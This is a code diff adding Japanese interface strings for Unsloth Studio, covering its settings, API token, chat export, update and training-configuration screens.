+      huggingFaceTokenDescription: "ゲート付きモデルの読み込みや、アーティファクトのプッシュに使用されます。",
+      hideToken: "トークンを非表示",
+      showToken: "トークンを表示",
+      tokenSaved: "トークンを保存しました",
+      password: "パスワード",
+      passwordDescription: "この Studio アカウントのパスワードを変更します。",
+      passwordDialog: {
+        trigger: "パスワード変更",
+        title: "パスワード変更",
+        description: "現在のパスワードと新しいパスワード（最低 {minLength} 文字）を入力してください。",
+        currentPassword: "現在のパスワード",
+        newPassword: "新しいパスワード",
+        confirmPassword: "新しいパスワード（確認）",
+        currentTooShort: "現在のパスワードは最低 {minLength} 文字である必要があります。",
+        newTooShort: "新しいパスワードは最低 {minLength} 文字である必要があります。",
+        mismatch: "パスワードが一致しません。",
+        samePassword: "新しいパスワードは現在のパスワードと異なる必要があります。",
+        update: "パスワードを更新",
+        updating: "更新中...",
+        updated: "パスワードを更新しました。",
+        updateFailed: "パスワードの更新に失敗しました。",
+      },
+      chatDefaults: "チャットのデフォルト設定",
+      autoTitleNewChats: "新規チャットのタイトル自動生成",
+      autoTitleNewChatsDescription: "最初のメッセージから短いタイトルを自動生成します。",
+      helperLlm: {
+        sectionTitle: "Helper LLM",
+        preloadOnStartup: "起動時に Helper LLM をプリキャッシュする",
+        preloadOnStartupDescription: "起動時にバックグラウンドで AI アシスト用の Helper モデルをダウンロードします。デフォルトはオフですが、AI アシストが必要に応じてオンデマンドで取得できます。",
+        disabledByEnv: "バックエンド環境の UNSLOTH_HELPER_MODEL_DISABLE によって無効化されています。",
+        loadError: "Helper LLM 設定の読み込みに失敗しました。",
+        saveError: "Helper LLM 設定の保存に失敗しました。",
+      },
+      previewSharing: {
+        sectionTitle: "プレビュー共有",
+        enableLabel: "公開プレビューリンク",
+        enableDescription: "署名付きリンクを持つ人なら誰でも、ログインなしで完了したモデルとチャットできるようになります。オフにすると公開プレビュー画面がオフラインになり、共有リンクが機能しなくなります。",
+        loadError: "プレビュー共有設定の読み込みに失敗しました。",
+        saveError: "プレビュー共有設定の保存に失敗しました。",
+        revokeLabel: "すべてのプレビューリンクを失効",
+        revokeDescription: "署名シークレットをローテーションして、共有したすべてのリンクを即座に機能不全にします。新しくコピーしたリンクは引き続き機能します。",
+        revokeAction: "リンクを失効",
+        revoking: "失効中...",
+        revokeConfirmTitle: "すべてのプレビューリンクを失効させますか？",
+        revokeConfirmDescription: "共有したすべてのプレビューリンクが即座に機能しなくなります。この操作は取り消せません。",
+        revokeConfirmAction: "すべてのリンクを失効",
+        revoked: "すべてのプレビューリンクを失効させました",
+        revokeError: "プレビューリンクを失効させることができませんでした",
+      },
+      notifications: {
+        sectionTitle: "通知",
+        showLlamaUpdates: "llama.cpp のアップデート通知",
+        showLlamaUpdatesDescription: "新しいモデルを実行するための新しい llama.cpp ビルドが利用可能になったときに通知します。トレーニングのみを行う場合はオフにしてください。",
+      },
+      gettingStarted: "はじめに",
+      startOnboarding: "オンボーディングを開始",
+      startOnboardingDescription: "アカウントを変更せずにセットアップウィザードを再開します。",
+      startOnboardingAction: "オンボーディングを開始",
+      uploads: {
+        sectionTitle: "アップロード",
+        maxUploadSize: "トレーニングデータセットのアップロード容量制限",
+        maxUploadSizeDescription: "デフォルトは {defaultSize} MB です。",
+      },
+      storage: {
+        sectionTitle: "ストレージ",
+        modelsFolder: "モデルフォルダ",
+        modelsFolderDescription: "ダウンロードしたモデルの保存先。",
+        openAction: "開く",
+        copyAction: "パスをコピー",
+        copied: "パスをコピーしました",
+        openError: "フォルダを開けませんでした",
+        copyError: "パスをコピーできませんでした",
+      },
+      resetPreferences: {
+        sectionTitle: "危険ゾーン",
+        label: "すべてのローカル設定をリセット",
+        description: "ローカル限定の設定を消去します。チャット、APIアクセス、DBに保存された設定は保持されます。",
+        action: "設定をリセット",
+        confirmTitle: "すべてのローカル設定をリセットしますか？",
+        confirmDescription: "ローカル限定の設定を消去し、Unsloth を再読み込みします。チャット、APIアクセス、DBに保存された設定は保持されます。",
+        confirmAction: "リセットして再読み込み",
+      },
+    },
+    profile: {
+      title: "プロフィール",
+      description: "Unsloth 内でのプロフィールの表示方法。",
+      changePicture: "プロフィール写真を変更",
+      displayName: "表示名",
+      nickname: "Unsloth での呼び名",
+      nicknamePlaceholder: "ニックネーム",
+      nicknameSaved: "希望する名前を保存しました",
+      avatarShape: "プロフィール写真の形状",
+      avatarShapeCircle: "円形",
+      avatarShapeRounded: "角丸",
+      chooseSloth: "またはナマケモノを選択",
+      nameSaved: "プロフィール名を保存しました",
+      namePersistErrorTitle: "プロフィール名を永続化できませんでした",
+      namePersistErrorDescription: "名前はこのセッション用に更新されましたが、再読み込み後に保持されない可能性があります。",
+      photoUpdated: "プロフィール写真を更新しました",
+      photoPersistErrorTitle: "プロフィール写真を永続化できませんでした",
+      photoPersistErrorDescription: "写真はこのセッション用に更新されましたが、再読み込み後に保持されない可能性があります。",
+      photoUpdateErrorTitle: "プロフィール写真を更新できませんでした",
+      imageUseError: "この画像は使用できませんでした。",
+    },
+    appearance: {
+      title: "外観",
+      description: "このデバイスでの Unsloth Studio の見た目。",
+      theme: {
+        title: "テーマ",
+        label: "カラー構成",
+        description: "ライト、ダーク、またはシステム設定に従います。",
+        system: "システム",
+        light: "ライト",
+        dark: "ダーク",
+      },
+      language: {
+        title: "言語",
+        label: "表示言語",
+        description: "Unsloth で使用される言語。",
+      },
+      layout: {
+        title: "レイアウト",
+        compactSidebar: "デフォルトでサイドバーを固定",
+        compactSidebarDescription: "サイドバーをアイコンに折りたたまず、展開したままにします。",
+      },
+    },
+    chat: {
+      title: "チャット",
+      description: "このデバイスに保存されているチャット履歴を管理します。",
+      modelDisclaimer: "モデルの免責事項を表示",
+      modelDisclaimerDescription: 'チャットボックスの下に "LLMs can make mistakes" と表示します。',
+      artifacts: {
+        title: "Canvas",
+        collapseHtmlBlocks: "HTMLブロックを折りたたむ",
+        collapseHtmlBlocksDescription: "CanvasモードではフルHTMLを自動的に折りたたみます。CanvasがオフのときにもフェンスされたHTMLドキュメントを折りたたむには、これをオンにします。",
+        allowNetworkAccess: "Canvas のネットワークアクセスを許可",
+        allowNetworkAccessDescription: "CanvasのプレビューがCDNからスクリプト、スタイル、フォント、メディア、ネットワークリソースを読み込むことを許可します。完全にオフラインでプレビューする場合はオフのままにしてください。",
+      },
+      data: "データ",
+      exportHistory: "チャット履歴をエクスポート",
+      exportHistoryDescription: "すべてのチャットとメッセージを JSON としてダウンロードします。",
+      exportAction: "エクスポート",
+      exportingAction: "エクスポート中...",
+      exportConversations: "履歴とプロジェクトをエクスポート",
+      exportConversationsDescription: "履歴、または履歴とプロジェクトのチャットを、生の JSONL、CSV、または ShareGPT JSONL として、一括またはチャットごとにダウンロードします。",
+      exportConversationsAction: "エクスポート",
+      exportScopeRecents: "履歴",
+      exportScopeAll: "履歴 + プロジェクト",
+      exportCombinedSuffix: "(一括)",
+      exportPerChatSuffix: "(チャットごと)",
+      importChats: "チャットをインポート",
+      importChatsDescription: "JSONL、NDJSON、または CSV のエクスポートファイルを履歴にインポートします。",
+      importChatsAction: "インポート",
+      importNoConversations: "ファイル内に会話が見つかりませんでした。",
+      importedOneChat: "1 件の会話を履歴にインポートしました。",
+      importedChatCount: "{count} 件の会話を履歴にインポートしました。",
+      importFailed: "インポートに失敗しました。",
+      clearHistory: "チャット履歴を消去",
+      clearHistoryDescription: "このデバイスからチャット履歴を削除します。",
+      clearAction: "消去",
+      clearAllChats: "すべてのチャットを消去",
+      clearAllChatsDescription: "このデバイスのすべてのチャットを永久に削除します。",
+      noChatsToClear: "消去するチャットがありません。",
+      clearOneChatDescription: "このデバイスにある唯一のチャットを永久に削除します。",
+      clearChatCountDescription: "このデバイスにあるすべての {count} 件のチャットを永久に削除します。",
+      clearChatsAction: "チャットを消去",
+      clearOneChatTitle: "1 件のチャットを消去しますか？",
+      clearChatsTitle: "{count} 件のチャットを消去しますか？",
+      clearChatsConfirmDescription: "このデバイスのすべてのチャットを永久に削除します。この操作は取り消せません。",
+      clearingAction: "消去中...",
+      clearOneChatAction: "1 件のチャットを消去",
+      clearChatCountAction: "{count} 件のチャットを消去",
+      clearedAllChats: "すべてのチャットを消去しました",
+      clearedOneChat: "1 件のチャットを消去しました",
+      clearedChatCount: "{count} 件のチャットを消去しました",
+      someChatsCouldNotBeCleared: "一部のチャットを消去できませんでした",
+      chatsClearedRemainOne: "{clearedCount} 件のチャットを消去しました。1 件のチャットが残っています。もう一度お試しください。",
+      chatsClearedRemain: "{clearedCount} 件のチャットを消去しました。{remainingCount} 件のチャットが残っています。もう一度お試しください。",
+      oneChatClearedRemain: "1 件のチャットを消去しました。{remainingCount} 件のチャットが残っています。もう一度お試しください。",
+      oneChatClearedRemainOne: "1 件のチャットを消去しました。1 件のチャットが残っています。もう一度お試しください。",
+      storageClearFailedOne: "ストレージの消去に失敗しました。1 件のチャットが残っている可能性があります。もう一度お試しください。",
+      storageClearFailed: "ストレージの消去に失敗しました。{count} 件のチャットが残っている可能性があります。もう一度お試しください。",
+      failedToClearChats: "チャットの消去に失敗しました",
+    },
+    connections: {
+      title: "接続",
+      description: "プロバイダーと外部接続を管理します。",
+    },
+    apiKeys: {
+      title: "API",
+      description: "OpenAI互換 API を介して Unsloth にアクセスします。",
+      readDocs: "API ドキュメントを読む",
+      noAccess: "まだ API アクセス権がありません。",
+      newBadge: "新規",
+      accessTokens: "アクセストークン",
+      loadError: "API アクセス権を読み込めませんでした。",
+      createError: "アクセストークンを作成できませんでした。",
+      revokeError: "アクセストークンを失効させることができませんでした。",
+      never: "なし",
+      tokenNamePlaceholder: "トークン名 (例: production)",
+      newAccessTokenName: "新規アクセストークン名",
+      createToken: "トークンを作成",
+      creating: "作成中...",
+      newTokenCreated: "新規アクセストークンが作成されました",
+      accessTokenCopied: "アクセストークンをコピーしました",
+      copyAccessToken: "アクセストークンをコピー",
+      copyNow: "今すぐコピーしてください - これは二度と表示されません。",
+      usageExamples: "使用例",
+      usageTools: "ツール",
+      exampleCurlTools: "curl + ツール",
+      examplePythonTools: "Python + ツール",
+      exampleCurlAdvanced: "curl + 高度な設定",
+      examplePythonAdvanced: "Python + 高度な設定",
+      osUnix: "Linux / macOS / WSL",
+      osWindows: "Windows",
+      secureHttps: "セキュア HTTPS",
+      secureHttpsHint: "0.0.0.0 ポートは依然としてグローバルにアクセス可能です。完全なセキュリティを確保するには、Unsloth Studio を --secure 付きで起動し、この HTTPS リンクのみを公開してください。",
+      copyTunnelUrl: "トンネル URL をコピー",
+      copySnippet: "スニペットをコピー",
+      copy: "コピー",
+      copied: "コピーしました",
+      setupDocs: "セットアップドキュメント:",
+      relativeNever: "なし",
+      relativeJustNow: "たった今",
+      relativeHoursAgo: "{count}時間前",
+      relativeDaysAgo: "{count}日前",
+      relativeMonthsAgo: "{count}ヶ月前",
+      relativeYearsAgo: "{count}年前",
+      expired: "期限切れ",
+      today: "今日",
+      inDays: "{count}日後",
+      created: "作成日時 {value}",
+      used: "使用日時 {value}",
+      expires: "有効期限 {value}",
+      actionsFor: "{name} のアクション",
+      copyPrefix: "プレフィックスをコピー",
+      revokeToken: "トークンを失効",
+      revokeTitle: 'アクセストークン "{name}" を失効させますか？',
+      revokeDescription: "このトークンを使用しているアプリはすぐにアクセスできなくなります。この操作は取り消せません。",
+      revokeAction: '"{name}" を失効',
+      revoking: "失効中...",
+    },
+    about: {
+      title: "情報",
+      description: "ドキュメント、リリースノート、フィードバック、およびビルド情報。",
+      studioVersion: "Unsloth バージョン",
+      packageVersion: "パッケージバージョン",
+      llamaCppVersion: "llama.cpp バージョン",
+      hardware: "ハードウェア",
+      gpu: "GPU",
+      cuda: "CUDA",
+      rocm: "ROCm",
+      updates: "アップデート",
+      help: "ヘルプ",
+      documentation: "ドキュメント",
+      releaseNotes: "リリースノート",
+      whatsNew: "新機能",
+      feedback: "フィードバック",
+      reportIssue: "問題を報告",
+      license: {
+        sectionTitle: "ライセンス",
+        studioLabel: "Unsloth Studio",
+        studioLicense: "AGPL-3.0",
+        studioDescription: "GNU AGPL v3.0 の下でオープンソース化されています。",
+        libraryLabel: "Unsloth Core",
+        libraryLicense: "Apache-2.0",
+        libraryDescription: "Apache 2.0 ライセンスの下で提供されています。",
+      },
+      dangerZone: "危険ゾーン",
+      shutDownStudio: "Unsloth Studio をシャットダウン",
+      shutDownStudioDescription: "Unsloth サーバーを停止し、セッションを終了します。",
+      shutDown: "シャットダウン",
+      update: {
+        title: "Unsloth Studio のアップデート",
+        commandText: "{label} テキスト",
+        copied: "コピーしました",
+        copyCommand: "コマンドをコピー",
+        commandCopied: "{label} をコピーしました",
+        copyNamedCommand: "{label} をコピー",
+        checkingInstall: "Unsloth がどのようにインストールされたかを確認中...",
+        installIntro: "Unsloth のインストールまたはアップデート方法:",
+        localUpdateHeading: "ローカルアップデート",
+        installCommandUnix: "macOS/Linux インストールコマンド",
+        installCommandWindows: "Windows インストールコマンド",
+        localInstallDetected: "ローカルインストールが検出されました。PyPI で上書きされるのを防ぐため、元のリポジトリからアップデートしてください。",
+        pullThenUpdate: "最新の変更をプルしてから、ローカルインストーラーを実行してください:",
+        gitPullCommand: "git pull コマンド",
+        localInstallerCommand: "ローカルインストーラーコマンド",
+        sourceInstallDetected: "ソース or VCS パッケージのインストールが検出されました。元のローカルパスまたは Git URL から再インストールしてください。",
+        repoCheckoutFallback: "リポジトリが手元に残っている場合は、そこからローカルインストーラーを実行してください:",
+        restartAfterUpdate: "アップデート後に Unsloth を再起動してください。",
+        desktopManaged: "デスクトップアプリは同梱されているバックエンドを自動的に最新に保ち、新しいバージョンが利用可能になると通知します。",
+        unknownInstall: "Unsloth がどのようにインストールされたか検出できませんでした。インストーラーまたは PyPI インストールの場合は、上記のコマンドを使用してください。",
+        localCheckout: "ローカルインストールの場合は、そのリポジトリからローカルインストーラーを実行してください:",
+        docs: "インストールガイド:",
+        docsInstall: "インストール",
+        docsUpdating: "アップデート方法",
+        docsMac: "Mac",
+        docsWindows: "Windows",
+      },
+    },
+  },
+  studio: {
+    routeTitle: "トレイン",
+    title: "Fine-tuning Studio",
+    subtitles: {
+      configure: "設定とトレーニングの開始",
+      trainingInProgress: "トレーニング進行中",
+      viewPastRuns: "過去のトレーニング実行を表示",
+      viewingPastRun: "過去の実行を表示中",
+    },
+    tabs: {
+      configure: "設定",
+      currentRun: "現在の実行",
+      history: "履歴",
+    },
+    loadingRuntime: "トレーニングランタイムを読み込み中...",
+    backToHistory: "履歴に戻る",
+    sections: {
+      model: "モデル",
+      dataset: "データセット",
+      params: "パラメーター",
+      training: "トレーニング",
+      charts: "チャート",
+      progress: "トレーニング進捗",
+    },
+    configure: {
+      title: "設定",
+      description: "モデル、データセット、およびトレーニング設定を選択します。",
+      startTraining: "トレーニング開始",
+      starting: "開始中...",
+      loadingModel: "モデルを読み込み中...",
+      checkingDataset: "データセットを確認中...",
+      trainingConfig: "トレーニング構成",
+    },
+    model: {
+      title: "モデル",
+      description: "ベースモデルとトレーニング方法の選択",
+      fasterTrainingBadge: "トレーニング速度2倍",
+      baseModel: "ベースモデル",
+      localModel: "ローカルモデル",
+      localModelTooltip: "ローカルにダウンロードされたモデルのパス、またはカスタム HF リポジトリ。",
+      scanningLocalAndCachedModels: "ローカルおよびキャッシュされたモデルをスキャン中...",
+      scanning: "スキャン中...",
+      scanningLocalModels: "ローカルモデルをスキャン中...",
+      noLocalModelsFound: "ローカルモデルが見つかりません",
+      noLocalModelsFoundManual: "ローカルモデルが見つかりません。パスを手動を入力してください。",
+      failedToLoadLocalModels: "ローカルモデルの読み込みに失敗しました",
+      hfCache: "HF キャッシュ",
+      customFolders: "カスタムフォルダ",
+      localDir: "ローカルディレクトリ",
+      huggingFaceModel: "Hugging Face モデル",
+      huggingFaceModelTooltip: "Hugging Face モデルを検索するか、推奨リストから選択します。",
+      searchModels: "モデルを検索...",
+      searching: "検索中...",
+      noModelsFound: "モデルが見つかりません",
+      needsVram: "約 {vram}GB VRAM が必要 (GPU: {gpu}GB)",
+      tightVram: "約 {vram}GB VRAM (GPU {gpu}GB ではギリギリです)",
+      vramEstimate: "約 {vram}GB VRAM",
+      method: "手法",
+      methodTooltip: "QLoRA は 4-bit 量子化を使用して VRAM 使用量を最小限に抑えます。LoRA は 16-bit を使用します。Full はすべての重みを更新します。CPT (Continued Pretraining) は、チャット形式を適用せずに生のテキストでトレーニングし、モデルを新しいドメインに適応させます。",
+      readMore: "詳細を読む",
+      fullFineTune: "フルファインチューニング",
+      checkingToken: "トークンを確認中...",
+      getOrUpdateToken: "トークンの取得または更新",
+      huggingFaceTokenOptional: "Hugging Face トークン (オプション)",
+      continuedPretraining: "継続事前学習 (CPT)",
+      localModels: "ローカルモデル",
+      localModelsFound: "{count} 個のローカル/キャッシュされたモデルが見つかりました",
+      loadingLocalModels: "ローカルモデルを読み込み中...",
+    },
+    dataset: {
+      title: "データセット",
+      description: "トレーニングデータの選択またはアップロード",
+      source: "データセットのソース",
+      chooseDataset: "データセットを選択",
+      chooseDatasetTooltip: "ポップアップのタブを使って、Hugging Face とローカルのレシピ出力を切り替えます。",
+      localTab: "ローカル",
+      searchHuggingFaceDatasets: "Hugging Face データセットを検索...",
+      searchLocalDatasets: "ローカルデータセットを検索...",
+      searching: "検索中...",
+      noDatasetsFound: "データセットが見つかりません",
+      loadingLocalDatasets: "ローカルデータセットを読み込み中...",
+      failedToLoadLocalDatasets: "ローカルデータセットの読み込みに失敗しました。",
+      noLocalDatasetsYet: "ローカルデータセットがまだありません。",
+      noLocalDatasetsMatchSearch: "検索に一致するローカルデータセットがありません。",
+      openDataRecipes: "データレシピを開く",
+      browsingSource: "{browsing} を閲覧中。現在の選択は {current} のままです。",
+      localDatasets: "ローカルデータセット",
+      localDataset: "ローカルデータセット",
+      localDatasetRows: " / {count} 行",
+      huggingFaceDataset: "Hugging Face データセット",
+      localDatasetMetadata: "ローカルデータセットのメタデータ",
+      dataRecipeOutput: "データレシピの出力。",
+      rows: "行数",
+      columns: "列数",
+      batches: "バッチ数",
+      updated: "更新日時",
+      evalDataset: "評価データセット",
+      uploading: "アップロード中...",
+      upload: "アップロード",
+      uploadEvalFile: "評価ファイルをアップロード",
+      evalDatasetDescription: "オプション。提供されない場合は、トレーニングデータから一部が自動的に分割されます。",
+      advanced: "高度な設定",
+      targetFormat: "ターゲットフォーマット",
+      targetFormatTooltip: "トレーニングデータのフォーマット。ほとんどのデータセットで自動検出が機能します。",
+      auto: "自動",
+      rawText: "生テキスト",
+      trainSplitStart: "トレーニング分割の開始行",
+      trainSplitStartTooltip: "開始行のインデックス（0から始まる包含的なインデックス）を指定して、データセットの一部のみをトレーニングします。最初の行から開始する場合は空のままにしてください。",
+      trainSplitEnd: "トレーニング分割の終了行",
+      trainSplitEndTooltip: "データセットに含める最後の行のインデックス（0から始まる包含的なインデックス）。たとえば、開始を0、終了を99に設定すると、最初の100行をトレーニングします。残りのすべての行を使用する場合は空のままにしてください。",
+      endPlaceholder: "終了行",
+      clear: "クリア",
+      dropFileOrClick: "ここにファイルをドロップするか、クリックしてアップロード",
+      viewDataset: "データセットを表示",
+      uploadFailed: "アップロードに失敗しました",
+      unknownError: "不明なエラー",
+      unsupportedFileType: "サポートされていないファイル形式です",
+      uploadOneFileType: "{types} ファイルを1つアップロードしてください。",
+      datasetUploaded: "データセットをアップロードしました",
+      evalDatasetUploaded: "評価データセットをアップロードしました",
+      uploadOneFileAtATime: "一度に1つのファイルのみアップロードできます",
+      uploadSingleFileDescription: "トレーニングデータセットのアップロードは単一のファイルのみ受け付けます。",
+      checkingToken: "トークンを確認中...",
+      getOrUpdateToken: "トークンの取得または更新",
+      preview: "データセットのプレビュー",
+      split: "分割",
+      subset: "サブセット",
+      s3: {
+        title: "S3 構成",
+        description: "Amazon S3 から .parquet, .json, .jsonl, または .csv データセットを読み込みます",
+        bucket: "バケット名",
+        bucketPlaceholder: "my-training-data-bucket",
+        region: "AWS リージョン",
+        regionPlaceholder: "us-east-1",
+        prefix: "パスプレフィックス",
+        prefixPlaceholder: "datasets/whisper/",
+        prefixTooltip: "オプション。バケット内のデータセットファイルへのパス",
+        accessKeyId: "アクセスキー ID",
+        accessKeyIdPlaceholder: "AKIAIOSFODNN7EXAMPLE",
+        secretAccessKey: "シークレットアクセスキー",
+        secretAccessKeyPlaceholder: "AWS シークレットアクセスキーを入力してください",
+        useIamRole: "IAM ロールを使用",
+        useIamRoleTooltip: "アクセスキーの代わりに IAM ロールの資格情報を使用します（EC2/SageMaker で推奨）",
+        testConnection: "接続をテスト",
+        connectionSuccess: "S3 バケットへの接続に成功しました",
+        connectionFailed: "S3 バケットへの接続に失敗しました",
+        comingSoon: "S3 統合は近日公開予定",
+        comingSoonDescription: "S3 データセットの読み込みには boto3 が必要です。この機能は現在開発中です。",
+      },
+    },
+    params: {
+      title: "パラメーター",
+      description: "トレーニングのハイパーパラメーターを設定します",
+      projectName: "プロジェクト名",
+      optional: "オプション",
+      projectNameDescription: "トレーニング出力フォルダ名、エクスポートのデフォルト値、および履歴で使用されます。",
+      loraSettings: "LoRA 設定",
+      trainingHyperparameters: "トレーニングハイパーパラメーター",
+      maxSteps: "最大ステップ数",
+      epochs: "エポック数",
+      useMaxSteps: "最大ステップ数を使用",
+      useEpochs: "エポック数を使用",
+      maxStepsTooltip: "オプティマイザーの総ステップ数を上書きします。",
+      epochsTooltip: "データセット全体の完全な学習回数。",
+      epochsDescription: "各エポックは、データセットを丸ごと1回学習することを意味します。",
+      maxStepsDescription: "トレーニングを固定のオプティマイザーステップ数に制限します。",
+      contextLength: "コンテキスト長",
+      contextLengthTooltip: "トレーニングサンプルあたりの最大トークン数。",
+      customContextLength: "カスタム値を入力",
+      contextLengthDescription: "トレーニングサンプルの最大シーケンス長",
+      learningRate: "学習率",
+      learningRateTooltip: "重み更新のステップサイズ。低い値ほど学習は遅くなりますが安定します。",
+      learningRateDescription: "推奨値: LoRAは2e-4、CPTは5e-5、フルファインチューニングは2e-5",
+      embeddingLearningRate: "埋め込み学習率",
+      embeddingLearningRateTooltip: "CPT が embed_tokens をトレーニングする場合にのみ使用されます。埋め込みは LoRA の重みよりも不安定になりやすいため、通常はより小さな学習率が必要です。空のままにすると lr/10 が使用されます。一般的な範囲はメインの学習率の2倍から10倍小さい値です。語彙やドメイン固有トークンの適応が遅すぎる場合にのみ増やしてください。",
+      embeddingLearningRateDescription: "空欄にすると lr/10 が使用されます（推奨）。一般的な範囲はメインの学習率の 2倍〜10倍小さい値です。",
+      rank: "Rank",
+      rankTooltip: "低ランク行列の次元数。高いほど表現能力が向上します。",
+      alpha: "Alpha",
+      alphaTooltip: "LoRA 更新のスクール係数。通常は rank の 2 倍に設定します。",
+      dropout: "Dropout",
+      dropoutTooltip: "過学習を抑えるための LoRA レイヤーのドロップアウト確率。",
+      visionLayers: "ビジョンレイヤー",
+      languageLayers: "言語レイヤー",
+      attentionModules: "Attention モジュール",
+      mlpModules: "MLP モジュール",
+      targetModules: "Target Modules",
+      enableLora: "LoRA を有効化",
+      trainWithLora: "LoRA でトレーニング",
+      stableRank: "Stable Rank",
+      memoryEfficient: "メモリ効率化",
+      optimization: "最適化",
+      schedule: "スケジュール",
+      memory: "メモリ",
+      optimizer: "オプティマイザー",
+      optimizerTooltip: "最適化アルゴリズム。8-bit 版はメモリ使用量を削減します。ビジョンモデルには Fused が推奨されます。",
+      lrScheduler: "学習率スケジューラー",
+      lrSchedulerTooltip: "トレーニング中に学習率をどのように変化させるか。Linear は一定の割合で減少させ、Cosine は緩やかな曲線を描いて減少させます。",
+      optimizerOptions: {
+        adamw8bit: "AdamW 8-bit",
+        pagedAdamw8bit: "Paged AdamW 8-bit",
+        adamwBnb8bit: "AdamW BNB 8-bit",
+        pagedAdamw32bit: "Paged AdamW 32-bit",
+        adamwTorch: "AdamW (PyTorch)",
+        adamwTorchFused: "AdamW (PyTorch Fused)",
+      },
+      lrSchedulerOptions: {
+        linear: "Linear",
+        cosine: "Cosine",
+      },
+      batchSize: "バッチサイズ",
+      batchSizeTooltip: "ステップごとに処理されるサンプル数。高いほど多くの VRAM を使用します。",
+      gradAccum: "勾配累積",
+      gradAccumTooltip: "VRAM を追加消費せずに、疑似的に大きなバッチサイズをシミュレートします。",
+      weightDecay: "Weight Decay",
+      weightDecayTooltip: "過学習を防ぐための L2 正則化。",
+      warmupSteps: "ウォームアップステップ数",
+      warmupStepsTooltip: "安定性の向上を目的として、トレーニング開始時に学習率を徐々に増加させます。",
+      scheduleEpochsTooltip: "データセット全体の完全な学習回数。0 に設定すると最大ステップ数に基づいて実行されます。",
+      saveSteps: "保存ステップ間隔",
+      saveStepsTooltip: "N ステップごとにチェックポイントを保存します。0 で無効化します。",
+      evalSteps: "評価ステップ間隔",
+      evalStepsTooltip: "評価を行う総トレーニングステップ of 割合 (0-1)。0 に設定すると評価が無効になります。例: 0.01 = ステップの 1% ごとに評価を実行。",
+      seed: "シード値",
+      seedTooltip: "再現性のための乱数シード。",
+      gradCheckpoint: "勾配チェックポイント",
+      gradCheckpointTooltip: "アクティベーションを再計算することで、計算量と引き換えにメモリを節約します。",
+      none: "なし",
+      standard: "標準",
+      enablePacking: "パッキングを有効化",
+      assistantCompletionsOnly: "アシスタントの応答のみ学習",
+      readMore: "詳細を読む",
+    },
+    training: {
+      title: "トレーニング",
+      description: "トレーニングの監視と制御",
+      chartNoDataTitle: "トレーニングデータがまだありません",
+      chartNoDataDescription: "トレーニングを開始すると、Loss の推移が表示されます",
+      startTraining: "トレーニング開始",
+      starting: "開始中...",
+      loadingModel: "モデルを読み込み中...",
+      checkingDataset: "データセットを確認中...",
+      configLabel: "トレーニング構成",
+      upload: "アップロード",
+      uploadConfigTooltip: "保存された YAML 構成を読み込みます",
+      save: "保存",
+      saveConfigTooltip: "現在の構成を YAML としてダウンロードします",
+      reset: "リセット",
+      resetConfigTooltip: "モデルのデフォルト値にリセットします",
+      configLoaded: "構成を読み込みました",
+      failedToLoadConfig: "構成の読み込みに失敗しました",
+      invalidYamlFile: "無効な YAML ファイルです",
+      failedToReadFile: "ファイルの読み込みに失敗しました",
+      parametersReset: "パラメーターをモデルのデフォルト値にリセットしました",
+      audioIncompatible: "このモデルはオーディオをサポートしていません。オーディオ対応のモデルに切り替えるか、オーディオ以外のデータセットを選択してください。",
+      visionIncompatible: "テキストモデルはマルチモーダルデータセットと互換性がありません。ビジョンモデルに切り替えるか、テキストのみのデータセットを選択してください。",
+      cancelTitle: "トレーニングを取り消し",
+      cancelDescription: "現在のトレーニング実行を取り消しますか？",
+      continueAction: "トレーニングを続行",
+      cancelAction: "トレーニングを取り消し",
+      stopTitle: "トレーニングを停止",
+      stopDescription: "現在のトレーニング実行をどのように停止するか選択してください。",
+      stopAction: "停止",
+      stopping: "停止中...",
+      stopAndSave: "停止して保存",
+      compareInChat: "チャットで比較",
+      exportModel: "モデルをエクスポート",
+      milestone: "マイルストーン",
+      halfwayDone: "半分完了しました。トレーニングの進捗が 50% を超えました。",
+      doneNextStep: "トレーニングが完了しました。次のステップ: ベースモデルとファインチューニング後の出力を比較します。",
+    },
+    history: {
+      title: "履歴",
+      emptyTitle: "トレーニング実行がまだありません",
+      emptyDescription: "トレーニング実行がまだありません。「設定」タブで最初のトレーニングを開始してください。",
+      loadError: "トレーニング実行の読み込みに失敗しました",
+      deleteError: "トレーニング実行の削除に失敗しました。もう一度お試しください。",
+      retry: "再試行",
+      loadMore: "さらに読み込む",
+      loading: "読み込み中...",
+      loadingRun: "トレーニング実行を読み込み中...",
+      runNotFound: "実行が見つかりません",
+      deleteTitle: "トレーニング実行を削除しますか？",
+      deleteDescription: "これにより、このトレーニング実行とすべてのメトリクスが永久に削除されます。この操作は取り消せません。",
+      runCount: "{count} 件の実行",
+      oneRun: "1 件の実行",
+      resume: "再開",
+      resumeTraining: "トレーニングを再開",
+      resuming: "再開中...",
+      deleteRun: "実行を削除",
+      loss: "Loss",
+      steps: "ステップ数",
+      lossTrendSparkline: "Loss トレンドスパークライン",
+      relativeJustNow: "たった今",
+      relativeMinutesAgo: "{count}分前",
+      relativeHoursAgo: "{count}時間前",
+      relativeDaysAgo: "{count}日前",
+      status: {
+        completed: "完了",
+        stopped: "停止",
+        error: "エラー",
+        running: "実行中",
+        continued: "継続",
+      },
+      message: {
+        completed: "トレーニングが完了しました",
+        stopped: "トレーニングが停止しました",
+        running: "トレーニング進行中",
+        errored: "トレーニングでエラーが発生しました",
+      },
+      copyPreviewLink: "プレビューリンクをコピー",
+      previewLinkCopied: "プレビューリンクをコピーしました",
+      previewLinkCopyFailed: "リンクをコピーできませんでした",
+    },
+    charts: {
+      settings: "チャート設定",
+      settingsDescription: "トレーニングを実行したまま、チャートの表示を微調整します。",
+      openSettings: "チャート設定を開く",
+      viewWindow: "表示ウィンドウ",
+      viewWindowDescription: "最新のステップのみを表示するか、全履歴を表示するか選択します。",
+      window: "ウィンドウ",
+      all: "すべて",
+      trainingLoss: "トレーニング Loss",
+      trainingLossDescription: "オーバーレイと EMA スムージングを制御します。",
+      smoothing: "スムージング",
+      smoothingDescription: "右に動かすほど滑らかになります。`0` は生データです。",
+      showRawLoss: "生の Loss を表示",
+      showSmoothedLoss: "スムージングされた Loss を表示",
+      showAverageLine: "平均線を表示",
+      scaleAndCleanup: "スケールとクリーンアップ",
+      linear: "Linear",
+      log: "Log",
+      noClip: "クリップなし",
+      clipP99: "p99 でクリップ",
+      clipP95: "p95 でクリップ",
+      lossAxis: "Loss 軸",
+      gradientNormAxis: "勾配ノルム軸",
+      learningRateAxis: "学習率軸",
+      resetDefaults: "デフォルトにリセット",
+      loss: "Loss",
+      smoothed: "スムージング済み",
+      evalLoss: "評価 Loss",
+      learningRate: "学習率",
+      lr: "LR",
